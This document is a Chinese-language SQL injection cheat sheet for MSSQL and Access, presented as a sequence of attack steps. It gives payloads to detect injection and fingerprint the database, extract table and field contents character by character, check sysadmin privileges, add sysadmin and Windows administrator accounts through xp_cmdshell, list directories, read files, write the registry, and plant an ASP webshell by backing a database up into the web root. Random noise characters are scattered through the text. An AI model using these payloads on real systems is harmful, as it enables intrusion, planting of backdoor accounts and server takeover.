手工脚本注入
9 v( ?# G$ U9 N! Q6 Z& p1.判断是否有注入;and 1=1 ;and 1=2 . Z8 W( e- \# {' n
% y6 v2 b- i! b! H9 [: ]) k
2.初步判断是否是mssql ;and user>0 . r1 }" X" a1 v+ F. a# t) |. u( J
! f1 {/ c2 @$ n; x+ F3.注入参数是字符'and [查询条件] and ''='
4 t6 J* i# [( p8 P
* K# [; Y% W7 j! ?2 y8 G* X9 h4.搜索时没过滤参数的'and [查询条件] and '%25'='
. Y9 [6 O3 q- `& O9 {$ S2 d; Y. {9 Y4 P' T j8 Z$ B: x
5.判断数据库系统
) ^7 r/ P; s( _4 U0 G: U. J: g( n;and (select count(*) from sysobjects)>0 mssql
7 y. M+ D5 a. [1 h, P' W ^;and (select count(*) from msysobjects)>0 access
: k1 u7 n3 P" ?6 ~ O9 @% e9 `" [# N3 D6 E2 m
6.猜数据库 ;and (select Count(*) from [数据库名])>0
6 ?' I9 S6 A, K$ h! |9 N
1 | i( s" W9 ]- l! E1 N7.猜字段 ;and (select Count(字段名) from 数据库名)>0 : |5 t4 K/ f/ S. |, ^2 t; [6 I/ \
% s B: ^. b7 g8 w8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 + H6 P9 S: @5 w, H w0 L& z; V; k
% r8 k8 p5 S" o, e. b- y
9.(1)猜字段的ascii值(access)
8 l; M- W2 E- g9 U;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 2 X5 u2 b% Y$ R0 i
' J' d6 p) ?! c
(2)猜字段的ascii值(mssql) % g2 H+ c4 d6 [) U* t" |
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
- Y: `. Z2 Y) B, {1 P/ l% o9 F: M t+ m( J4 \* o
10.测试权限结构(mssql)
0 V- B0 [ x$ |; D ^8 ~! X;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
7 a9 R! H/ T. ^' ];and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- - i% r, I* { D) m
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 5 B4 p9 Q2 j* z
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
% P9 j( Q/ y; t% L$ _;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- / p( a1 A2 ]( S0 [) F: p9 E' B
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
$ j) w' X, Q" c' T: l4 r) G;and 1=(select IS_MEMBER('db_owner'));-- / F; m+ `, Q: p
9 ?+ p+ |0 S8 Y% k5 `! Y" p0 R3 [
11.添加mssql和系统的帐户 # u$ z5 e- l" ?4 \ Z
;exec master.dbo.sp_addlogin username;--
( ^( ?8 x3 F& r9 y5 C0 }
. U% O' O3 ^! ~;exec master.dbo.sp_password null,username,password;-- $ h; U; \# K+ N4 N
: B5 z* I6 V3 \, e;exec master.dbo.sp_addsrvrolemember sysadmin username;-- , z# Q& ]- Q" a* p" [
' I9 W0 u3 F: u T2 X8 Q
;exec master.dbo.xp_cmdshell 'net user username password
, P5 s3 U/ F' T: D/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
% b/ q3 I9 ~) o8 Y! V5 X
6 U& ?; @" J7 L% B" n, v2 I$ F;exec master.dbo.xp_cmdshell 'net user username password /add';--
1 X8 w: {3 I$ K8 q8 I0 m) ~
7 t5 \) J2 y) w& q, U;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 9 c7 I6 b2 |, Z2 g8 q
& m, y& U6 N$ U) F/ N
12.(1)遍历目录
) a0 O0 q6 L* l* i0 L! t) B1 Y
;create table dirs(paths varchar(100), id int) ; H B/ u7 r. }. n2 s* b. ]
;insert dirs exec master.dbo.xp_dirtree 'c:\' 2 L* e6 l( y5 r6 z% L9 Q
;and (select top 1 paths from dirs)>0
& b" }7 V' s% ]! y/ L+ A* `5 a;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) % Z* e2 I1 |: p' W+ |8 V
/ ]) L: r& M& R6 {% H U
(2)遍历目录
/ l! y! P7 L* |& u% W7 z( ?;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
* t* Z1 q' R2 W2 T, N G0 h# L;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
. v+ p0 s8 }3 l0 Q$ x9 X;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
( e. a d" g4 d2 ^* c;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 5 T; F6 g3 _5 o3 K
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 9 M. d) G' w7 @7 x/ d6 L* B
+ ], E$ p6 u! T0 B6 y
13.mssql中的存储过程
8 ?$ P+ v! U1 S" |) u, c; C. m8 v/ t! g( e. g- s& O
xp_regenumvalues 注册表根键, 子键 ( _1 R" n2 l% F5 |, d
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
J: M* C; O4 W n7 g
0 r' v8 I, c* O5 L. exp_regread 根键,子键,键值名 2 E6 \# P1 S( D6 h b0 ?7 K
;exec xp_regread
2 e/ {/ q9 U6 u+ @& M5 J( z'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1 I/ G4 Z& e& @5 { \% L
1 J$ ~: l I d# a; B
xp_regwrite 根键,子键, 值名, 值类型, 值 6 B( p8 ]( i3 Q8 S+ }7 l% S9 }
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
% ^) x7 I2 @! ~# l;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
6 w4 X3 _0 K. @
$ h) E3 P1 h, K: bxp_regdeletevalue 根键,子键,值名
" V4 f$ K1 W: d4 s9 m
' V2 L- d7 p2 n' u; v* p$ |+ C6 F8 Uexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ' t/ _6 J: H. ]1 ]5 r4 f
+ u9 v0 b# z. Y8 H% [/ a0 Hxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
O# G/ L, O2 }1 o' } [
4 B/ ` l h r% Z7 {4 ~4 a* E14.mssql的backup创建webshell
. E3 v! ?' s2 v# i& f9 X7 |use model 9 F O. ?- h2 t" W P% `, Q* }
create table cmd(str image);
) O% Q$ k( U$ A/ dinsert into cmd(str) values (''); 9 r4 q W* Z: B& c6 X
backup database model to disk='c:\l.asp'; 1 v ?+ O4 F9 \' L, h
7 G4 r5 {% S$ r* n# R" k4 G15.mssql内置函数 ; Z- |1 C, t6 `& E7 k2 l7 R
;and (select @@version)>0 获得Windows的版本号
+ ]3 B4 A6 h7 V: E% q1 L;and user_name()='dbo' 判断当前系统的连接用户是不是sa
2 m/ e# l& h. o) u. y" `4 Q0 O6 |;and (select user_name())>0 爆当前系统的连接用户
" J% Z; O3 E( ~" E2 j3 [;and (select db_name())>0 得到当前连接的数据库
% w& d& x) P# w2 ^8 }. f) A) N9 P
# u/ B9 J* |& @) x3 ~$ Z16.简洁的webshell
! \8 L8 w8 N) m8 R E3 A4 [8 M4 }
use model $ t4 A$ |8 H8 q+ J4 |0 v! D+ l3 j
6 M( C. l' w f. j zcreate table cmd(str image); Y9 A- z9 J( v
9 o3 n8 C; `/ y! V% k3 Q- ]
insert into cmd(str) values ('');
# b; [5 N* E0 A* \& p* e: j
2 k* n( v. ]5 @% H5 ~" Wbackup database model to disk='g:\wwwtest\l.asp';
, D1 H/ k' @2 C& Y, a ) [' P# u4 m6 x% v+ j
|